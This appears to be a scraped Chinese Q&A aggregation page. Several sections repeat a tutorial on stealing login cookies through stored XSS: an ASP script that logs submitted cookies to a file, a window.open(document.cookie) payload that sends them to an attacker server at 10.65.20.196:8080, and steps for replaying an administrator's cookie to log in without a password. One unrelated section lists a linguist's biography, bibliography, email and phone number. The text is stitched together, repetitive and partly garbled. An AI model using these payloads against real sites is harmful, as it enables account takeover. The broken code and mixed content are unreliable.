本文目录一览：
- 1、xss漏洞获取cookie怎么解决方案
- 2、请问同乡前辈曹志耘老师的联系方式，他以前在山东大学中文系，我曾经拜读他的著作《金华方言词典》
- 3、怎么用xss代码让cookie弹窗
- 4、如何搭建一个含有慢速ddos，xss，sql注入，文件上传等漏洞的网站
- 5、如何通过 xss 获取受 http-only さcookie
- 6、xss 打到cookie 怎么利用
xss漏洞获取cookie怎么解决方案
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
请问同乡前辈曹志耘老师的联系方式，他以前在山东大学中文系，我曾经拜读他的著作《金华方言词典》
个人档案
曹志耘，男，汉族，Email：caozy@blcu.edu.cn
帕维尔的导师
《语言教学与研究》杂志编辑部
主 编: 曹志耘
邮 编：100083 地址：北京市海淀区学院路15号北京语言大学语言研究所（主楼11层）
电话：010－82303570
《语言教学与研究》编辑部，电话82303575，主楼1118室。
1961年6月出生于浙江省金华县（今金华市婺城区）。
1978年10月至1982年7月，山东大学中文系汉语言文学专业本科，获文学学士学位。
1982年9月至1985年7月，山东大学中文系现代汉语专业硕士研究生，获文学硕士学位。
2000年，山东大学文学院汉语言文字学专业博士研究生，获文学博士学位。
1985年8月至1996年6月，山东大学中文系任教。
1996年7至今，北京语言大学任教。首批新世纪百千万人才工程国家级人选，教育部全国高校优秀青年教师奖获得者，国务院政府特殊津贴获得者。
主要学术职务：
北京语言大学教授
语言学及应用语言学专业博士研究生导师
语言研究所所长
《语言教学与研究》杂志主编
北京市高等学校青年学科带头人
中国语言学会理事
中国民族语言学会理事
中国社会语言学会理事
获奖情况：
1988年，论文《金华汤溪方言的词法特点》获得“中国社会科学院青年语言学家奖金”
1997年，专著《严州方言研究》获得“北京大学王力语言学奖金”
1999年，专著《金华方言词典》（作为《现代汉语方言大词典》分卷之一）获得国家图书奖荣誉奖，全国辞书一等奖
2001年，获得教育部全国高校优秀青年教师奖
2004年，入选首批新世纪百千万人才工程国家级人选
科研项目：
1.汉语方言地图集（教育部“十五”规划），主持人
2.汉语方言地理学研究（北语“十五”规划），主持人
3.吴语婺州方言群•瓯江方言群の调查研究（日本学术振兴会平成14年度基盘研究B海外，研究代表者：秋谷裕幸），参加者
4.当代北京话应用研究（北京市“十五”规划），主持人
学术成果：
一 著作
1988 《山东人学习普通话指南》（合著），山东大学出版社
1989 《齐鲁文化大辞典》（合著，方言卷主编），山东教育出版社
1991 《中国语言学要籍解题》（参著），齐鲁书社
1992a 《应用汉语教程》（参著），北京语言学院出版社
1992b 《广告语言艺术》，湖南师范大学出版社
1992c 《肥城县志》第三十五编“方言”（合著），齐鲁书社
1992d 《社会语言学概论》（参著），湖南教育出版社
1993a 《诸城市志》第二十三篇“民俗”第二章“方言”（合著），山东人民出版社
1993b 《中国文化语言学辞典》（参著），四川人民出版社
1994 《语言差异与文化心理——中外语言的文化学透视》，河北人民出版社
1996a 《中国民俗语言学》（参著），上海文艺出版社
1996b 《严州方言研究》，[日本]好文出版
1996c 《金华方言词典》，江苏教育出版社
1997 《沂南县志》第三十一篇“方言”（罗福腾、曹志耘合著），齐鲁书社
1998 《广告语言教程》（参著），陕西人民教育出版社
1999a 《应用语言学理论纲要》（参著），华语教学出版社
1999b 《山东普通话培训测试指南》（合著，副主编），语文出版社
2000 《吴语处衢方言研究》（曹志耘、秋谷裕幸、太田斋、赵日新合著），[日本]好文出版
2002a 《南部吴语语音研究》，商务印书馆
2002b 《诸城方言志》（钱曾怡、曹志耘、罗福腾合著），吉林人民出版社
2003 《汉语方言地图集调查手册》（北京语言大学语言研究所合著），澳门语言学会
2004 《北京语言大学汉语语言学文萃·方言卷》（主编），北京语言大学出版社
2005 《浙南七县市吴方言音系》（讨论稿）（秋谷裕幸、曹志耘、黄晓东、刘祥柏、蔡嵘合著），日本学术振兴会平成14-16年度基盘研究（B）“吴语婺州方言群·瓯江方言群の调查研究”研究报告
二 论文
1981 汤溪话的几个语音问题，《一九八一年“五四”学生科学讨论会得奖论文集（社会科学版）》，第22-49页，山东大学
1984 山东诸城五莲方言的声韵特点（合写），《中国语文》第3期，第186-191页
1985a 山东平度方言内部的语音异同（合写），《方言》第3期，第214-221页
1985b 金华方言的几种句式，《山东大学研究生首届科学讨论会论文集（文科版）》，第110-113页，山东大学研究生处
1986 北京话语音里的性别差异，《汉语学习》第6期，第31页
1987a 数词趣谈，[香港]《普通话》第2期，第75-77页
1987b 金华汤溪方言的词法特点，《语言研究》第1期，第85-101页
1987c 汉语方言研究的思考，《山东大学学报（哲社版）》第1期，第40-45转77页
1987d 北京话tþ组声母的前化现象，《语言教学与研究》第3期，第84-91页
1987e 语气词运用的性别差异，《语文研究》第3期，第44-45转43页
1987f 河北省东南部三十九县市方音概况（合写），《方言》第3期，第173-178页
1988a 由“饮茶”想到的词汇对译问题，[香港]《普通话》第1期，第90-92页
1988b 金华方言的句法特点，《中国语文》第4期，第281-285页
1988c 沂水方言的语法特点，[山东省语言学会]《语言学通讯》第11期，第212-220页
1989a 命名与方言、普通话，[香港]《普通话》第1期，第75-76页
1989b 方言学和社会语言学，《汉语研究论集》第174-181页，中国矿业大学出版社
1989c 费县方言记略（合写），《临沂师专学报》第4期，第93-101页
1990a 金华汤溪方言帮母端母的读音，《方言》第1期，第42-43页
1990b 广告的语言艺术，《现代交际》第2期，第14页
1991a 汉人命名中存在的问题及其对策，《语言·社会·文化》（首届全国社会语言学学术讨论会论文集）第472-481页，语文出版社
1991b 山东方言与社会文化二题（合写），《山东大学学报（哲社版）》第1期，第6-10页
1991c 汉语汉字对广告的制约性，《首届中国国际广告研讨会论文集》第120-122页
1991d 商标语言初探，《语文建设》第7期，第2-8页
1991e 山东肥城方言的语音特点（合写），《方言》第3期，第182-187页
1991f 济南方言若干声母的分布和演变——济南方言定量研究之一，《语言研究》第2期，第36-44页
1992a 山东诸城方言的语法特点（合写），《中国语文》第1期，第52-55页
1992b 古汉语在交际中的应用，《现代交际》第6期，第38页
1992c 广告语言与社会文化（上），《国际广告》第2期，第25-26页
1992d 广告语言与社会文化（下），《国际广告》第3期，第18-20页
1992e 人名研究的新收获——《文化的镜象——人名》评介，《语文建设》第8期，第48转29页
1992f 社会文化对广告语言的制约性例谈，《现代交际》第10期，第22页
1993a 金华汤溪方言词汇（一），《方言》第1期，第69-80页
1993b 金华汤溪方言词汇（二），《方言》第2期，第158-160页
1993c 广告写作中的“化用”手法，《语文建设》第2期，第28-29页
1993d 一字千金广告语，《现代文秘》第2期，第36转32页
1993e 谈谈广告语的创作，《现代文秘》第3-4期合刊，第58转63页
1993f 汉语方言的人类语言学研究，《黄河学刊》第1期，第36-39页
1993g 广告语言的基本要求，《言语交际与交际语言》（第二届全国社会语言学学术讨论会论文集）第331-343页，江西高校出版社
1993h 汉语方言区、方言岛和混合语的文化语言学考察，《语言与文化多学科研究》（第三届全国社会语言学学术讨论会论文集）第244-252页，北京语言学院出版社
1993i 古代的语言准则与古代广告的语言风格，《现代文秘》第12期，第32-33页
1994a 我国广告语言风格的取向，《现代文秘》第1期，第47-48页
1994b 广告语言研究面临的课题：深化和实用化，《语言文字应用》第1期，第21-23页
1994c 口彩初探，《民俗研究》第3期，第41-43页
1994d 金华方言词典引论，《方言》第4期，第252-267页
1995a 我国广告语言风格的回顾与反思，《中国广告年鉴》（1992—1993年），第180-184页，新华出版社
1995b 广告文案写作中的几个问题，《语言文字应用》第1期，第19-23页
1995c 广告文案风格谈（上），《现代文秘》第1期，第23-24转36页
1995d 广告文案风格谈（下），《现代文秘》第2期，第29-31转36页
1995e 让口语登上大雅之堂——评《现代汉语常用口语词典》（合写），《新闻出版导刊》第6期，第58页
1996a 略论语讳的类型与构成，《韶关大学学报》第1期，第99-104页
1996b 金华汤溪方言的体，《动词的体》（中国东南方言比较研究丛书第二辑）第285-301页，香港中文大学中国文化研究所吴多泰中国语文研究中心
1997a 严州方言语音特点，《语言研究》第1期，第86-95页
1997b 浙江的九姓渔民，《中国文化研究》第3期，第72-79页
1997c 汉语混合语考察，北京语言文化大学文化学院编《语言与文化论丛》第一辑，第43-62页，华语教学出版社
1997d 谈谈方言与地域文化的研究，《语言教学与研究》第3期，第71-77页
1997e 金华汤溪方言的动词谓语句，《动词谓语句》（中国东南方言比较研究丛书第三辑），第39-57页，暨南大学出版社
1997f 语言学视野下的新安文化论纲，周绍泉、赵华富主编《’95国际徽学学术讨论会论文集》，第294-298页，安徽大学出版社
1997g 山东峄城方言民俗词汇——婚育、丧葬、称谓，[日本]《中国语学研究·开篇》第16期，第10-22页
1998a 敦煌方言的声调，《语文研究》第1期，第11-15页
1998b 浙江庆元方言音系（秋谷裕幸、曹志耘合写），《方言》第1期，第23-36页
1998c 《山歌》语法特点初探，[日本]《亚细亚言语论丛》第2辑，第69-80页
1998d 汉语方言声调演变的两种类型，《语言研究》第1期，第89-99页
1998e 浙江遂安方言的声调，林华编《第九届北美洲汉语语言学研讨会论文集》第18-34页，美国南加州大学
1998f 浙江云和方言音系（太田斋、曹志耘合写），《方言》第4期，第290-303页
1998g 汉语方言里表示动作次序的后置词，《语言教学与研究》第4期，第17-37页
1998h 保存还是消灭：汉语方言面临的选择，《中国民族语言学会通讯》第4期，第4-9页
1999a 方言与地域文化研究的对象和方法——读《福建方言》有感，《语文研究》第2期，第45-48页
1999b 严州方言的代词系统，《代词》（中国东南部方言比较研究丛书第四辑），第126-144页，暨南大学出版社
1999c 生存还是消亡：汉语方言面临的抉择，《世纪之交的中国应用语言学》，第139-148页，华语教学出版社
1999d 浙江九姓渔民方言的语音特点，《汉语现状与历史的研究——首届汉语语言学国际研讨会文集》，第274-286页，中国社会科学出版社
1999e 二十世纪汉语方言的发展变化——历史和地域的角度，[日本]《中国语学研究·开篇》第19期，第92-99页
2000a 对21世纪语言研究的几点想法，《语言教学与研究》第1期，第7-9页
2000b 山西偏关方言音系（曹志耘、张燕来合写），《首届官话方言国际学术讨论会论文集》，第73-78页，青岛出版社
2000c 金华汤溪方言的介词，《介词》（中国东南部方言比较研究丛书第五辑），第60-77页，暨南大学出版社
2000d 北京话研究的回顾与展望（曹志耘、张世方合写），《世纪之交的应用语言学》，北京广播学院出版社
2000e 汉语方言里表示动作次序的后置词，《面临新世纪挑战的现代汉语语法研究》，第767-778页，山东教育出版社
2001a 关于濒危汉语方言问题，《语言教学与研究》第1期，第8-12页
2001b 金华汤溪方言的“得”，《语言研究》第2期，第23-29页
2001c 梅祖麟教授访谈录，《语言教学与研究》第4期，第1-9页（中国人民大学《语言文字学》转载）
2001d 南部吴语的小称，《语言研究》第3期，第33-44页
2001e 青海乐都方言音系（曹志耘、邵朝阳合写），《方言》第4期，第373-383页
2002a 老枝新芽：中国地理语言学研究展望，《语言教学与研究》第3期，第1-6页
2002b 东南方言里动词的后置成分，《东方语言与文化》，东方出版中心
2002c 南部吴语语音的共性和差异，《闽语研究及其与周边方言的关系》，[香港]中文大学出版社
2002d 吴徽语入声演变的方式，《中国语文》第5期，第441-446页
2002e 中国社会语言学大有可为——在首届社会语言学国际学术研讨会上的总结发言，《语言教学与研究》 第6期，第11-12页
2003a 南部吴语的全浊声母，上海市语文学会、香港中国语文学会合编《吴语研究——第二届国际吴方言学 术研讨会论文集》，第218-222页，上海教育出版社
2003b 浙江金华珊瑚村方言状况，《中国社会语言学》第1期，第9-18页
2004a 汉语方言中的韵尾分调现象，《中国语文》第1期，第40-45页
2004b 老枝新芽：中国地理语言学研究展望，《21世纪的中国语言学》（一），商务印书馆
2004c 浙江金华珊瑚客家话音系，《方言》第3期，第200-211页
2004d 从方言看女书（曹志耘、赵丽明合写），《中国社会语言学》第2期
By:xujunfu QQ:53990388
Email:i_o72@yahoo.com.cn
怎么用xss代码让cookie弹窗
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath('code.txt') //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request('msg') //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject('scripting.filesystemobject')//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(''msg'')//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到'+document.cookie的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。
简单步骤如下：
1、在存在漏洞的论坛中发日志：
X
2、然后以管理远登陆，进入后页面会跳转，此时cookie就发送到你的服务器下的code.txt文件中了：
3、这是没有账户前的登陆界面：
4、打开firefox的Tamper Data插件，点击Start Tamper开始抓取信息，刷新登陆界面，然后会跳出对话框，点击Tamper按钮，在途中的cookie一栏中替换掉你抓取到的cookie，单击确定发送请求数据：
5、替换cookie后不用输用户名密码就顺利进入管理员账户了：
如何搭建一个含有慢速ddos，xss，sql注入，文件上传等漏洞的网站
如何搭建一个含有慢速ddos，xss，sql注入，文件上传等漏洞的网站
XSS攻击：跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。
如何通过 xss 获取受 http-only さcookie
XSS获取cookie并利用 获取cookie利用代码cookie.asp xx 把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：10.65.20.196:8080。 XSS构造语句 window.open('10.65.20.196:8080/cookie.
xss 打到cookie 怎么利用
XSS获取cookie并利用
获取cookie利用代码cookie.asp
html
titlexx/title
body
%testfile = Server.MapPath("code.txt") //先构造一个路径，也就是取网站根目录，创造一个在根目录下的code.txt路径，保存在testfile中
msg = Request("msg") //获取提交过来的msg变量，也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""msg"")//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%
/body
/html
把上述文件保存为cookie.asp文件，放到你自己的网站服务器下。比如这里我们自己搭建的服务器为：。
XSS构造语句
scriptwindow.open(''+document.cookie)/script
把上述语句放到你找到的存在XSS的目标中，不过这里最好是存储型xss，比如你找到了某个博客或者论坛什么的存在存储型XSS，你在里面发一篇帖子或者留上你的评论，内容就是上述语句，当其他用户或者管理员打开这个评论或者帖子链接后，就会触发，然后跳转到'+document.cookie的页面，然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。